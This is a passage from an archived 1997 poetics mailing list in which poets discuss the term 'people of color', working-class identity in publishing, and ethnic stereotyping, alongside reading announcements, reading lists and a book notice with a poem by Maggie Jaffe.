This is an important point, but maybe the reason I keep saying "classicism is revolution" & steff like that is that I don't exactly agree with Tim O'Brien, & I don't exactly agree that poetry about history inevitably becomes "simply" history. I do agree that if you devalue the moment of writing (when the poem, or the imagination, hits you over the head) then you won't make poetry but will get stuck on the prongs of cynical critique I outlined in previous post (maybe I almost got stuck there myself). I think there is a context even for the imagination, and Time tempers the poet's voice & silvers the plow. There is a realm of actuality & what happened is just as interesting as what's imagined. (They're almost always intertwined). - Henry gould

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576. **Hoa Nguyen**
People of Color?
Mon 29 Sep 1997

Dodie wrote:

>I also find offensive here that people have been bragging about the
people
>of color whom they know and/or have published--I mean how condescending
can
>you get. I think Hoa is much too nice to this list in her posts.
Nobody
>wants to be turned into a pet.
>

I wanted to take this opportunity that Dodie has given me to respond to this-- since no one else asked...

Yeah, sometimes I do feel too nice-- and although intentions have been carefully explained/explored, tones of condescending creep in, talking about race is always touchy and yes, posts speaking about the diversity of one's group of friends or one's journal-- can leave me feeling, well, yucky too. And for just this pet-like reason-- I think that I wrote that it feels like taxidermy -- "and this is my prized blue nosed snarffer"-- And while it gives me stomach aches when folks talk about race in their immediate social situations, (maybe you have something, Kali, that it reminds one of the old "My best friends are X!"), this sort of discussion is necessary. And when talking about race, everyone doesn't have to know and everyone can make mistakes! (this includes me of course-- the other day with an Iranian American business owner-- I was chit-chatting and found myself wanting to validate him and his country's culture, so that he would be at ease-- and know I wasn't racist like "them"-- and started saying something about the beauty of the Arabic language --until he interupts stating that he speaks Persian) Ignorance, unfortuanatly, is easy.

And to try to clear up the term "People of color" -- it may sound off to you, Sylvester Pollet-- and yes, Joe, it is *not* like the term "colored people"-- but it is an affirming term for people of color-- in the way that Kali described how it is important to her friends of color to have their ethnicity be a part of their personhood because if it isn't, it is as if their color didn't exist or as if they had become white.

Finally, I have wondering over the weekend about the diverstiy on this list -- I would like to connect with the lister's of color -- could you all back channel me? No certification required! Seriously though, I want to feel less alone on the list.

Not a minority,

Hoa

Get Your Private, Free Email at http://www.hotmail.com

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577. **Carolyn Guertin**

Killian and Argento

Mon 29 Sep 1997

Someone recently posted a reference to a new book(s) by Kevin Killian called the Argento Series from Meow Books. A friend of mine is desperate to own this and local (Canadian) booksellers say they can't order it. If anyone is in the know, could they please backchannel me with direct order specs?

With thanks,
Carolyn

_____ Carolyn Guertin, Department of English, University of Alberta E-Mail: [redacted]; Tel/FAX: [redacted] Website: http://www.ualberta.ca/~cguertin/Guertin.htm See the 3D Woman! http://www.ualberta.ca/~cguertin/laser/enter.htm "Memory is a capricious seamstress." -- Virginia Woolf

↑ Index

578. **p. durgin**
Re: working class thread
Mon 29 Sep 1997

The "White Noise" group/school? Anyone wanna clarify? Back-channels gladly accepted if you please.

I[I]I [redacted] I[I]I

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579. **dbkk**
Re: working class thread
Mon 29 Sep 1997

At 7:19 AM -0700 9/29/97, Hoa Nguyen wrote:

> *I don't really understand why Dodie's post was read as an attack on Kali or Joe. Could it be that Dodie was asking a *real* question of Joe? I would like to know how he feels about belonging to the "White Noise" group-- and I imagine that perhaps Joe would welcome the chance to talk about his poetry activities and affiliations (?).*
>
> *I am wondering 2 things-- How come you would feel yuck published in a "working class women journal", Dodie (a really real question-- I have questions around this for myself in terms of other identity categories) and secondly, how come the response to Dodie's post was a longish defensive complaint, Kali?*

First of all, excuse the angry tone of my last post. I won't bore you all with what provoked it.

Secondly, no, Eliza, I was not accusing you of anything, and I'm sorry if I caused you even an instant of distress. Like Dale, I was being vaguer than I should have been.

Thirdly, I was never questioning Joe's credentials as working class, just asking in a rather pushy way how he felt being published as a working class writer.

From Joe's post it seems like he does have some conflicts along that line. But, heh, it's hard to get published, I don't begrudge anybody for taking anything they can get.

And the final point of my prelude--I haven't read Kali's response. After her performance on this list this summer I decided it best that I filter out her messages to avoid the temptation to respond to them.

Now, to Hoa's point. And I have a question for you Hoa, when you spoke of the fellow at work saying they needed to diversify, I'm interested in what exactly about him saying that bothered you.

I'm going to meander a response to the rest of Hoa's post, and we'll begin with a story that involves Hoa herself. When Hoa was living in San Francisco she wrote a grant, a component of which would be a reading series for younger writers of color--three readings in which she herself would read with a variety of people. She asked if Small Press Traffic would sponsor these readings and I said sure. Then Hoa moved to Texas and the grant panel was stupid and didn't award Hoa the money anyway--but I thought, why not do the reading series anyway. So I asked another poet to curate it--as part of our agreement I was *not* going to advertise the series as being about writers of color. Neither of us felt comfortable with that. One poet refused to read in the series because she did not want to be singled out as a young poet of color, advertising or no. If she was going to read for SPT she was going to read in our regular series (she eventually did read in the regular series). And then the curator decided that she didn't feel comfortable curating a series about people of color, so I said, do what ever you want, and she opened up the series. This experience caused much reflection on my part, these women's refusal to be institutionalized as women of color. While class and race are not the same thing in America, if I think of myself as working class (and it wasn't that long ago since that was sexy, it hasn't been that long since feminism and the class struggle were issues on people's agenda) and imagine a similar institution of myself, I feel that I can approach some beginning of understanding of their positions.

I've been reading the history of freak shows--the exoticization of difference and displaying it to reinforce the normality of the audience. I can't help but see parallels here between publishing people as belonging to a group defined as marginal, racial, class, etc., how that reinforces that group/person's position of otherness--and the status quo of a norm, as base of white middle classness against which this otherness is projected.

As far as who receives social compassion, groups come and go. It's not cool to be racist these days, but not so long ago it was. Do I think that a new level of humanity has been reached? No. Look at the scathing condemnation of people who are overweight/ or public figures who don't look anorexic. I think that

what should be examined is this human impulse to define an other who reinforces the group collectivity, normality. Thinking of an article I read in last week's food section. It was on packing exciting lunches for your child. In the article several dieticians were asked what they packed for their own children. On dietician said she packed potato chips because children pay attention to what's in one another's lunch boxes, and if her daughter had a weird lunch it would cost her socially. So here we have the makings of a new marginalized group, little girls who do not carry potato chips in their lunches. A silly example, but a very real issue to the little girls who don't have potato chips and are dumped on.

As far as friendships go, I don't think that someone has to speak of somebody as "My African American friend" in order to not deny their ethnicity. My first husband was Puerto Rican but I've never called him my Puerto Rican husband--I never denied that he was Puerto Rican either. We're still in touch--and a few years ago he went back to Puerto Rico to live, hadn't lived there since he was three. So he was in town a while ago and we went out for coffee and I asked him what it was like, living in Puerto Rico again, expecting some glorious report of bonding with his roots, etc. His response: "There's too much bureacracy there." It's so easy to be reductive, to pigeonhole people.

Dodie

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580. **Maria Damon**
Re: People of Color?
Mon 29 Sep 1997

this is a terrifically engaging thread, thanks y'all.

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581. **Sylvester Pollet**
Re: People of Color?
Mon 29 Sep 1997

> *And to try to clear up the term "People of color" -- it may sound off to you, Sylvester Pollet-- and yes, Joe, it is *not* like the term "colored people"-- but it is an affirming term for people of color-- in the way that Kali described how it is important to her friends of color to have their ethnicity be a part of their personhood because if it isn't, it is as if their color didn't exist or as if they had become white.*

Hello, Hoa Nguyen! I understand that use of the term, I just don't like it & don't use it myself. I am a person of color, in my estimation, a sort of nicer color now than in March, when I tend to fade to a greyish white. Tanner now. When

people, students say, want their heritage acknowledged, I try to honor that with sensitivity and particularity, so that I don't call a Passamaquoddy a Micmac. It seems clear to me that many terms used comfortably by people within a group to refer to themselves can not be used that way by outsiders. Of course, the language is constantly shifting, & it's our job as poets to push it into better places. I hope I'm not sounding cantankerous here--I was a bit yesterday, after half a day chainsawing firewood and half a day reading student papers. (Not an academic, just a poet/part-timer, trying to get through the winter.) I think this sort of discussion really helps, by the way, so thanks.

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582. Mark Prejsnar
Syntactics #1 available
Mon 29 Sep 1997

The really exciting new poetry magazine Syntactics has arrived. As part of the almost microscopic Atlanta poetry mafia, I'm posting an announcement..(on behalf of editor John Lowther, who isn't net-connected at the moment).

Issue #1 features Avelino de Araujo, Sheila Murphy, Peter Ganick, Stephen Dignazio, Jim Leftwich, Ray DiPalma, Standard Schaefer, Matt Hill, Spencer Selby, Fanny Howe, Pierre Joris and Joe Napora. It comes with a broadside which is a theoretical reflection on the pantoum and its possible extentions by Lowther, and also a theory section with discussions by Sheila, Jim and John of aspects of their poetics. Graphics, poetry, design and the rest are really nice. The issue costs $4 which I think is a steal (#2 will be more).

John got the the issue from the printer the day before yesterday, so copies to contributors and subscribers are going out as we (er, as I) speak, or type.

syntactics
Box 1381
Decatur, GA 30031-1381

--Mark P.
Atlanta

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583. Laura Moriarty
Re: working class thread
Mon 29 Sep 1997

Dodie et al -

The idea of there being a working class magazine that would be interested in my work because of my background is intriguing to me - Would that it were so - In fact maybe Michael Amnason's Ottotole was that in some ways, though of course not restricted to us working class types - And as I recall Michael's definition required current and not just past working class credentials - Underpaid non-profit art work being defined as hopelessly middle class -

I was sorry to have missed the SPT reading Friday which I heard was great - Rodrigo Toscano and Carol Lee Sanchez read here at the Poetry Center last Thursday and were very good - the audience (mostly students) clapped wildly after each of Rodrigo's poems -

Laura

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584. **Hoa Nguyen**
Re: working class thread
Mon 29 Sep 1997

>
>Now, to Hoa's point. And I have a question for you Hoa, when you spoke of
>the fellow at work saying they needed to diversify, I'm interested in what
>exactly about him saying that bothered you.
>

Dodie-- thanks for the long response/illustrative anecdote to my question about how you feel re: identity groupings. Informative and thought provoking.

and to your question, I wish he said that we "need to diversify". Rather he said "We need more minorities" and the statement had everything to do with market positioning (attracting clients) and appearances ("we are a progressive firm: witness our "minorities"). I take issue not only with this, (and its concomittant patronizing "tone") but with the word "minority". As I had signed my post, I do not consider myself a "minority". The word, while trying to describe the economic-sideline status of many people of color, sounds like it is describing population numbers, which confuses people. (Like the white person that told me he was a minority too because "I am a minority on the east side bus to work")

But the trouble is, I think the above is unfair-- I mean, here the employer was trying to acknowledge a lack of diversity-- and suggesting a solution for it, and all I can do is feel strange and wish he would go about it with more sensitivity and panache...

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585. **mark weiss**
stereotypes
Mon 29 Sep 1997

In some contexts stereotypes serve a different function than those mentioned heretofore. I'm a bit hesitant to bring this up, not because I may be seen as throwing fat on the fire, but because I'm not sure how well it fits into this discussion. But here goes.

I'm a New Yorker. Some years ago I bought a house in a working class neighborhood in Brooklyn. Ethnicity there was a matter of strata. The bedrock level was Irish Catholic, overlain by Italian Catholic and various Slavic and Baltic types, all (except the Irish) no more than two generations from Ellis Island. On top of this were more recent strata from Puerto Rico, some Blacks (give me a better word) and a very few jews (Jews--mostly recent Russian immigrants--lived in large numbers in the next neighborhood, and Hasids beyond them). I was the only jew and the only college-educated middle class type on my block. The different ethnic identities remained intact, although we all lived interspersed among each other. It was only in the teenage group that inter-group dating and marriage had begun, but these didn't seem to create many problems.

I detected no particular group animosities, and I've got a pretty good sniffer for these things, but there was a lot of casual stereotyping, often voiced between neighbors, which seemed to function as a set of hypotheses--"I can expect certain behaviors from x because jews (italians, blacks, etc.) are like that. Oh, he didn't conform to expectations? That's interesting"--on the way to greater intimacy. I'm not suggesting that as the stereotyping towards this or that person softened the sense of difference disappeared--that was always there--we remained, across the differences, exotic to each other, but not dangerous. There were, in fact, real cultural differences. The stereotyping, in fact, helped to keep the peace in this most peaceful neighborhood--it was a way of telling oneself not to be offended by this or that behavior. It was so important that if someone's ethnicity was not immediately apparent one would be asked directly, as I was by the stoop-sitters who monitored the street.

I realized that I had been doing this all my life. Growing up in polyglot and polyethnic New York I had depended on ethnic markers as navigational buoys. Interestingly, my wife, raised in Asheville, N.C., will miss the most obvious markers of difference between white folks--at home there were only three

groups, black, and, distinguishable, at the very least, by accent, hillbilly and other white. Absent the distinction of accent all white folks tend to be, for her, the same, and I see her bumping up against ethnic differences that didn't exist in her environment all the time. She's probably, by the way, the least racist, least bigoted person I have ever known, but a few stereotypes would really make her life easier.

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586. **mark weiss**
(no subject)
Mon 29 Sep 1997

Anyone on the list know of a good French bookstore in LA?

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587. **Maria Damon**
Re: stereotypes
Mon 29 Sep 1997

---

i find this type of thing fascinating. i am often (as you must be kali) asked about my ethnicity, i think because of the combination of my name (which could be number of different things), the kind of work i do and the fact that i look (and am, according to current definitions) white. being jewish though makes for an interesting twist in the cloth. it's hard to convey to West coasters and midwesterners the reality that in my hometown (boston and environs) it was standard during my childhood and adolescence (and possibly even now) for certain country clubs etc to officially exclude blacks and jews. when explaining why that meant i didn't belong to the institutions that my classmates did, i've been stopped and asked, "you look pretty white to me, so what's the problem?" as if they hadn't heard, or couldn't process, the "and jews" part of what i'd said. it just isn't part of how they divide up the world. the christian majority is not just a majority, it is the only reality (in fact i just learned that the Minnesota Humanities Commission will not fund events that happen on Sunday mornings which i think borders on the unconstitutional). and then jews (and nonjews) want to know what i'm doing w/ a name like maria. iv'e been fascinated and amused by inter-ethnic joshing among people for whom it's also a very charged issue. a former boyfriend, who is ethiopian, doesn't hesitate to characterize people by their ethnicity (Amharas have good cuisine, Gurages are small-time hustlers, etc). in ethiopia, much blood has been shed over which ethnic group is in power, and yet it seems that, as you say, mark, there's also a level at which ethnic teasing can have a benign innoculative effect. i was shocked but also amused the first time he teasingly called me a "sickly little yid." it was

impossible to be offended; the shock was because no american i knew would ever ever say anything like that, even in jest, and in fact, when an american christian friend did try to tease me once about jews and money, i got very upset; i didn't realize she was just teasing. (i'm specifying ethnicity and religion here not to show off that i have an american christian friend, but to demonstrate how the fact of her american christianity affected how i heard her). (i'm also not trying to usurp a discussion about people of color by piping up with a disingenuous jewish me-tooism; rather wanting to talk, like mark, about the different ways these work contextually) i've also heard Native Americans from different tribes/nations tease each other, and there are some deep-seated historical tensions between some of the teasers that i've heard. i live in pc land here (the affirmative action commissioner, or something like that, of st paul, was forced to step down a few years ago because there were some ethnic jokes told at a banquet he presided over) so i try to learn and not get too caught up in public controversy (though i did risk my job once by playing lenny bruce's "how to relax your colored friends at parties" in a class on "minority" literature; the subject is so charged that any irony was lost on my students; i'll never do that again).

At 12:49 PM -0700 9/29/97, mark weiss wrote:
>In some contexts stereotypes serve a different function than those
>mentioned heretofore. I'm a bit hesitant to bring this up, not because I
>may be seen as throwing fat on the fire, but because I'm not sure how well
>it fits into this discussion. But here goes.
>
>I'm a New Yorker. Some years ago I bought a house in a working class
>neighborhood in Brooklyn. Ethnicity there was a matter of strata. The
>bedrock level was Irish Catholic, overlain by Italian Catholic and various
>Slavic and Baltic types, all (except the Irish) no more than two
>generations from Ellis Island. On top of this were more recent strata from
>Puerto Rico, some Blacks (give me a better word) and a very few jews
>(Jews--mostly recent Russian immigrants--lived in large numbers in the next
>neighborhood, and Hasids beyond them). I was the only jew and the only
>college-educated middle class type on my block. The different ethnic
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>directly, as I was by the stoop-sitters who monitored the street.
>
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>and polyethnic New York I had depended on ethnic markers as navigational
>buoys. Interestingly, my wife, raised in Asheville, N.C., will miss the
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>accent, hillbilly and other white. Absent the distinction of accent all
>white folks tend to be, for her, the same, and I see her bumping up against
>ethnic differences that didn't exist in her environment all the time. She's
>probably, by the way, the least racist, least bigoted person I have ever
>known, but a few stereotypes would really make her life easier.

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588. **Michael J. Kelleher**
just buffalo
Mon 29 Sep 1997

Poet(ic)s in Buffalo,

Sunday
October 5
at 2 p.m.

SUSAN HOWE
&
LEE ANN BROWN

will be reading as part of just buffalo's Writer's at Work Series at HALLWALL'S, followed by a book signing and public dinner (dinner location tba at reading).

Susan will be introduced by Alicia Cohen, Lee Ann by Ben Friedlander.

There will be a combined party for Lee Ann Brown and the opening of Anya Lewin's new gallery, Cornershop @ 82 Lafayette (at Dewitt, near Niagra) at

8pm on Saturday, October 4. If you need more info, call me at [redacted]. See you there.

Mike

<HTML>
Poet(ic)s in Buffalo,

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<P>Mike</HTML>

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589. **Joseph S Zitt**
Re: stereotypes
Mon 29 Sep 1997

On Mon, 29 Sep 1997, Maria Damon wrote:

> *being*
> *jewish though makes for an interesting twist in the cloth. it's hard to*
> *convey to West coasters and midwesterners the reality that in my hometown*
> *(boston and environs) it was standard during my childhood and adolescence*
> *(and possibly even now) for certain country clubs etc to officially exclude*
> *blacks and jews. when explaining why that meant i didn't belong to the*
> *institutions that my classmates did, i've been stopped and asked, "you look*
> *pretty white to me, so what's the problem?" as if they hadn't heard, or*
> *couldn't process, the "and jews" part of what i'd said. it just isn't part*
> *of how they divide up the world. the christian majority is not just a*

I never really grokked the otherness of being Jewish until I moved off the East Coast to Texas. People I met there couldn't understand why I found the months of compulsory Christmas muzak in the malls irritating (at best) -- until I asked them how they'd like being forced to listen continually to Mantovani's Greatest Islamic Chants. On the other hand, that's when I started viewing being Jewish as interesting, which had a big effect on my own studies and writing.

I have friends in Texas who have bemoaned their own lack of ethnicity. When they leave the state, though, they find out that being Texan is its own thing, and (especially those with recognizably Texan accents) have to deal with both being stereotyped by others, and the way that other parts of the country are very different. (Since coming back East, it strikes me how rarely people smile around here!)

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590. **Aldon Nielsen**
Re: stereotypes
Mon 29 Sep 1997

Some of my best friends are stereotypes, and they're not a bit like that!

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591. **Kali Tal**
Working Class anthologies
Mon 29 Sep 1997

Renny Christopher forwarded me this list of working class anthologies, in case any POETICS member is interested in following up. Renny would also be interested in hearing from poets who want to talk about working class issues. Her email address is: [redacted]

Coles, Nicholas and Peter Oresick. For a Living: The Poetry of Work. Urbana: University of Illinois Press, 1995.

Dews, C. L. Barney and Carolyn Leste Law, ed. This Fine Place So Far From Home: Voices of Academics from the Working Class. Philadelphia: Temple University Press, 1995.

Oresick, Peter and Nicholas Coles. Working Classics: Poems on the Industrial Life. Urbana: University of Illinois Press, 1990.

Wayman, Tom, ed. Paperwork: An Anthology. Madeira Park, BC: Harbour Publishing, 1991.

Zandy, Janet, ed. Calling Home: Working-Class Women's Writings: An Anthology. New Brunswick, NJ: Rutgers University Press, 1990.

Zandy, Janet, ed. Liberating Memory: Our Work and Our Working-Class Consciousness. New Brunswick, NJ: Rutgers University Press, 1995.

Best,
Kali

Kali Tal new WORD order PO Box 13746, Tucson AZ 85732-3746 http://www.new-word.com [redacted] (phone & fax)
"Web Design For Smart People"

Sixties Project [redacted]
http://jefferson.village.virginia.edu/sixties http://www.kalital.com

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592. **Aldon Nielsen**
Re: working class red
Mon 29 Sep 1997

there seems to be a real tendency here to conflate the "managing diversity" types, recognizable to all who inhabit large bureaucratic structures, with those who would ask deeply critical questions about the ways that we speak of race and ethnicity -- a _lot_ of work has been done in this area which might shed some much needed light --

since we're exchanging biblios, here are some worth inspecting:

Multiculturalism: A Critical Reader, ed. David Theo Goldberg

Race Consciousness, ed. Judith Fossett and Jeffrey Tucker

Comparative American Identities, ed. Hortense Spiller

The Bounds of Race, ed. Dominick LaCapra

Racial Formations/Critical Transformations, E. San Juan Jr.

Race, Nation, Class, Balibar and Wallerstein

Manifest Manners, Gerald Vizenor

there are many more, natch.,,,, but these contain some particularly fruitful debates --

now, if you really want to see some right wing divide and conquer -- try the Threnstroms" (sp?) new book

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593. **mark weiss**
Re: stereotypes
Mon 29 Sep 1997

> *i've also heard Native Americans from different tribes/nations tease each other, and there are some deep-seated historical tensions between some of the teasers that i've heard.*

Here's a story about that. A black friend from NY was visiting me when I lived in Tucson. It was Martin Luther King day, and this was a few years ago, when Arizona was the last holdout against instituting the holiday. As both Kali and Maria point out, race remains a topic even between close friends of different colors, whether in the form or teasing, challenge, curiosity, or passing interest. My friend asked how come Arizona was so backwards. I acknowledged that there is a fair amount of racism in Arizona (is the Pope Polish?), but I thought that another factor might be that Arizona is (was then, at least) only two percent black, which meant that there was less pressure for the holiday than in

other places. So he asked why there wasn't a day consecrated to a native american, say Geronimo. What an idea. I don't think he knew any native americans, but I should have known better. I ran the idea past a Navajo friend, who waxed linguistically colorful for a few minutes. To summarize: "We hate Geronimo. We hate Apaches. They're all horsethieves and murderers, and they don't bathe enough." What if, I suggested, we picked someone from a tribe that doesn't exist in Arizona? Did my friend think a Hiawatha day would fly? He wasn't as amused as I was. Arizona, by the way, has since joined the rest of us in celebrating Martin Luther King Day.

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594. **Aldon Nielsen**

Re: My name . . . Jose Jimenez

Mon 29 Sep 1997

I believe the comedian in question was Bill Dana -- does anybody know if that's right -- which masking adds a few more levels to the ironies

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595. **Eryque Gleason**

Re: working class thread

Mon 29 Sep 1997

Hoa Nguyen wrote:

> *But the trouble is, I think the above is unfair-- I mean, here the employer was trying to acknowledge a lack of diversity-- and suggesting a solution for it, and all I can do is feel strange and wish he would go about it with more sensitivity and panache...*

hoa, i understand your hesitance. i've had similar reactions to mucky-mucks going on about diversity. as i'm sure most of us have, i've seen an awful lot of these statements around our various institutions, i always get the feeling that the push comes from an interest in being diversified for the sake of gaining points politically, rather than a genuine desire to see any other perspectives (a particular perspective or just others in general) find a place within an institution. and i always read 'diversify' in that context as meaning "we need to hire more people that don't look like me and the white board of directors, but are eager to say the same things we've always said".

eryque

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596. **Jordan Davis**
Re: stereotypes
Mon 29 Sep 1997

I guess it's because I'm a straight white guy, but I've always suspected that the tension put _on the left_ about race and sex has been a divide and conquer strategy _by the right_ to divert attention from the real issue which is always money and power -- as long as money and power are God, or whatever god-position-substitute we're flavoring our breakfast with now. Who cares how we talk to eachother about these things? Are we doing so well we can afford to ignore the baiters? and what they're taking from our pockets as we're arguing?

Signed,
October 1929

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597. **Eryque Gleason**
Re: stereotypes
Mon 29 Sep 1997

i haunt around occassionally on a couple of bbs's, with the username Jose Jimenez, no one told me that i'd need a handle the first time i logged on, i lifted the name from the comedian's routine (it was reflex, thinking for a different name never occurred to me).

it seems that most of my contemporaries are far too young to remember the comedian (in fact, i only know about him from the space movie "the right stuff", so i spose i should say that they're too young to remember "the right stuff"). during most sessions people will send messages in spanish, then get offended when i try in my best, hacked spanish (two semesters in high school i try to explain) that i don't speak their language. another lot will ask what nationality i am, and get pissed when i say "american". my mother's ancestors came from norway about 150 years ago, my father's from the british isles 100 or so (so you can see that i'm white as hell, saying i'm "american" means something much different to people with different ancestry).

i had one hell of a point when i started. forigive me, my blood sugar's getting low. i'll let you all find the particular relevance

best,
eryque

for those of you that wonder, my mother spells my name 'eric', unless she's patronizing me.

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598. **Ralph Wessman**

Re: The Paradox

Mon 29 Sep 1997

A quick note linking Robert Drake's rhetorical question (... why start another mag that duplicates existing?), kali tal's post "... if I can't talk about poetry in terms of love ... I figure why talk about it at all" and joe amato's response "I would only add that the love of justice has something to do with all of this." I agree with you Robert, to consider establishing a magazine duplicating another seems little more than replication of style and formula. Nothing wrong with that, but there can be so much more.

Once a publishing endeavour / magazine effectively becomes an extension of yourself, opens up avenues of personal expression and development, allows you to give voice to what moves you, fuels the capacity to be more imaginatively responsive, more functionally human - it becomes far removed from replication.

For instance (and perhaps I misinterpret joe's words "love of justice"), a small press publisher is in a position to encourage public comment on a range of topics / issues. My point though is that there's nothing too intuitive about "taking up issues" for the sake of it (doesn't that ... uh oh ... lead to the stultifying / conforming aspects of political correctness?), and there's nothing too intuitive about taking on writing from people / groups / perspectives outside your experience simply because it's pc to do so ... seems to me like a skin graft, part of you but ... is it really? And it's not the emotions attendant in exercising power that are interesting, what's intuitive about that? But if there's enough space and freedom within the publishing activity to allow you to be moved by the ... culturally diverse? ... or where a (subjective) sense of justice is brought into play ... then, integrity ... remains.

Hopefully....

Regards,

Ralph Wessman

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599. **Kali Tal**

Book announcement: Maggie Jaffe's How The West Was One

Mon 29 Sep 1997

In the midst of this lates discussion, a new book has been born.

Maggie Jaffe, _How The West Was One_, with art by Deborah Small. 96pp, perfectbound, 5.5" x 8.5", 4-color cover, lots of beautiful illustrations in the text.

$12, plus $1.50 shipping and handling. ISBN 1-885215-19-3. Order from Viet Nam Generation, Inc., PO Box 13746, Tucson, AZ 85732-3746.

"_How The West Was One_ lifts the veil of history and reveals the corruption, greed, and arrogance that hide behind noble-sounding phrases: Westward Expansion, Manifest Destiny, the Monroe Doctrine, the Good Neighbor Policy, and the New World Order. Maggie Jaffe's poignant poetry transcends propaganda and didacticism and shows the impossibility of separating the political from the personal." --Jon Forrest Glade, _Photographs of the Jungle_

"In _How The West Was One_, Maggie Jaffe, one of the most clear-voiced, clear-sighted poets of our time, exposes the truth behind the media presentations which shape young minds into the bog of uncritical, unemotional, cultural and racially supremacist thinking. This book should be in motel rooms, instead of Gideons Bible, to help citizens see the tangled web they helped to weave." --Belinda Subraman, _The Gulf War: Many Perspectives_

Here's a selection from _How the West Was One_. Unfortunately, the email medium doesn't allow me to reproduce the typography or artwork:

Imperial Breadfruit

Though imported from the
South Seas to the West Indies
as "cheap food for slaves,"
Joy of Cooking describes
breadfruit as "the most
beautiful of tropical trees,
with a highly romantic history."

"Why it's breadfruit,"
said the Bounty's Captain Bligh
to Fletcher Christian
while circumnavigating the globe,
"for the greater glory of us all."
Christian and Company
preferred women to glory:
their breasts like breadfruit.

The Bounty brought the Pox
& mirrors to Tahiti:
perhaps the locus for
Joy's "romanticisism."
When they mutinied
[floggings, thirst, rancid meat]
"unruly" crews threw

the "sacred saplings" overboard,
even if breadfruit prevented scurvy.

Years later, Darwin collected
breadfruit from Tahiti
when the Beagle
"touched" its shores.
Though _Origin of the Species_
seemed to justify it,
after Brazil he would write:
"Thank God I shall never
again visit a slave country."

While Darwin became a bestseller
Melville's critique of Empire
didn't make him a crowd pleaser.
Known as "the man who lived with cannibals"
for the rest of his literary life.

In _Typee, Or a Peep at Polynesian Life_
he lists exotic breadfruit recipes--
none of them appear in _Joy_:

> Kokoo (k'aku): roasted breadfruit
> pounded & mixed with coconut milk.
>
> Amar (ma): a tart cake baked
> from fermented breadfruit.
>
> Poee-poee (popoi): a pudding
> made by adding water to the former.

Breadfruit (Artocarpus altilis)
has dark-green, irregular
leaves with globe-like
"seductive-tasting fruit,"
roasted or steamed with butter,
salt & pepper.
Because it's fart-producing,
ginger tea taken with breadfruit's
the best remedy.

To guard against devil hunger
breadfruit's planted
for each new-born Tahitian.

If an immature tree's cut
down, it's equivalent to murder.

In the West Indies
breadfruit was believed to cure
Drapetomania:
"a disease known by
a slave's excessive love of freedom,"
whose symptoms were
feigning sicknes, slowing down,
running off, axing Massa
in his alabaster chamber.

---Maggie Jaffe

Kali Tal new WORD order PO Box 13746, Tucson AZ 85732-3746 http://www.new-word.com [redacted] (phone & fax)
"Web Design For Smart People"

Sixties Project [redacted]
http://jefferson.village.virginia.edu/sixties http://www.kalital.com

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600. Dale Smith
Re: People of Color?
Mon 29 Sep 1997

>Hello, Hoa Nguyen! I understand that use of the term, I just don't like
it
>& don't use it myself. I am a person of color, in my estimation, a sort
of
>nicer color now than in March, when I tend to fade to a greyish white.
>Tanner now. When people, students say, want their heritage
acknowledged, I
>try to honor that with sensitivity and particularity, so that I don't
call
>a Passamaquoddy a Micmac. It seems clear to me that many terms used
>comfortably by people within a group to refer to themselves can not be
used
>that way by outsiders. Of course, the language is constantly shifting,
&
>it's our job as poets to push it into better places. I hope I'm not
>sounding cantankerous here--I was a bit yesterday, after half a day
>chainsawing firewood and half a day reading student papers. (Not an

>academic, just a poet/part-timer, trying to get through the winter.) I
>think this sort of discussion really helps, by the way, so thanks.

So why don't you provoke something that helps instead of implying that references coined by particular groups other than your own make you uncomfortable?

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601. **Dale Smith**

Social Tangles

Mon 29 Sep 1997

There are two elements in these discussions I provoked. One is the need to represent diversity through poetic channels. Another is to satisfy one's own demands, whatever they be, for formal poetic experimentation. These are elements I engage myself with also. My own idealistic dementia desires greater personal freedom for people of all backgrounds, whatever they be. This is a social concern that I am sympathetic to, due to personal experiences, state of mind, and because I prefer greater freedom over its opposite and wish to do unto others as they do unto me, etc. My other concern, however, is artistic, aesthetic. And that aesthetic is not socially based. My understanding of art has been influenced, for better or worse, by the amazingly compact but lucid contributions to this subject by Theodor Adorno. Others, many others, both living and dead, have influenced my thought as well. But Adorno addresses art with a compact clarity I appreciate. Anyway, for me, this kind of influence represents what I think of as a social exchange. And these exchanges happen all the time. They even happen on this list. Discussions of race, gender, sexual preference -- all of this and much more, including the overt power structures of economy under which we all live -- this is all socially necessary to argue, discuss, and debate.

What I disagree with is the now accepted fact that art can contain, or represent in some way, the same sense of social urgency as a conversation, say, or discussions like those on this list. Art's power is not in what it addresses, but in what it is capable of reflecting. Its power is mimetically traced to something in nature, something in us as human beings. I don't mean nature as birds and bees either. I mean deeper elements of predation, hunger, desire, and * thought*, which is actually the body's tool. What I sense as false in poetry is often only an over statement of social urgency, expressed in terms that deny the very being from which such formal gestures originate. Often, poetry represses the humorous, self-conscious impulse from which we articulate our social desires. At

times, ‘experiemental’ forms, the ones, perhaps Kevin publishes in Mirage, though he doesn’t necessarily like them, appear inhuman to me because they repel any human sympathy I might be capable of lending the poem. I often always agree with the social cause inherent in such poems. But the inhumane disregard for the reader strikes me as an ingenuine gesture on the poet’s part. Because, as the poet strives to communicate social injustice, he or she alienates those who might otherwise support it. I realize humanism itself is suspect of foul play, and many have provided useful critiques regarding its values. So perhaps this is where my differences lie. Without being a philosopher, I don’t know. I became a poet so that I would not have to make linear sense. I wanted to invigorate and create. Out of a sense of self-defense, however, today I will attempt to balance my more playful impulses.

Smart, socially active poetry is often void of emotional cohesion, or even conflict. The lyric, as it was practiced in this language for centuries, has been replaced with the sentimental suburban barbecue flavors of that bland, relatively unengaged work of poets in the University journals, the New Yorker and Poetry. I’m really not attentive to that poetry in a way that qualifies me to speak of it at greater depth, so I won’t push it. But to me, it’s rather, excuse the term, *useless* as a means of expanding my own sense of poetics. Another group that is more or less consistent in terms of form would be what I assume many of us practice, though I don’t presume all of us. It has been influenced by a variety of well-meaning and compelling formal methods and theories. Many, but not all, Language Poets have careers of some kind in academia and their influence has spread to new generations of writers, such as my own. I will be reductive and say that their concerns are, as I once heard Harriet Mullin say, with the trinity of Class, Consciousness and Society. Many small journals and books publish poetry that, to my mind, adheres to this social trinity in terms of content. Its formal methodology is as diverse as the poets who practice this kind of poetics. But I would say that writers engaged in this activity do share certain elements in common. At the expense of sounding like Mark Wallace, I’ll enumerate.

1) This Language-influenced poetry lacks a unified subject of expression, ie, the poem’s voice is fragmented, or composed of many voices. It is paratactic and employed as a formal element. I suppose this is due to some mimetic sense of same disunity in the culture at large, and is potentially a valid expression of such.

2) It is very smart and ironic, but it lacks a greater sense of humor and a more subtle intelligence.

3) It is conscious of limits but doesn’t know when to end a poem

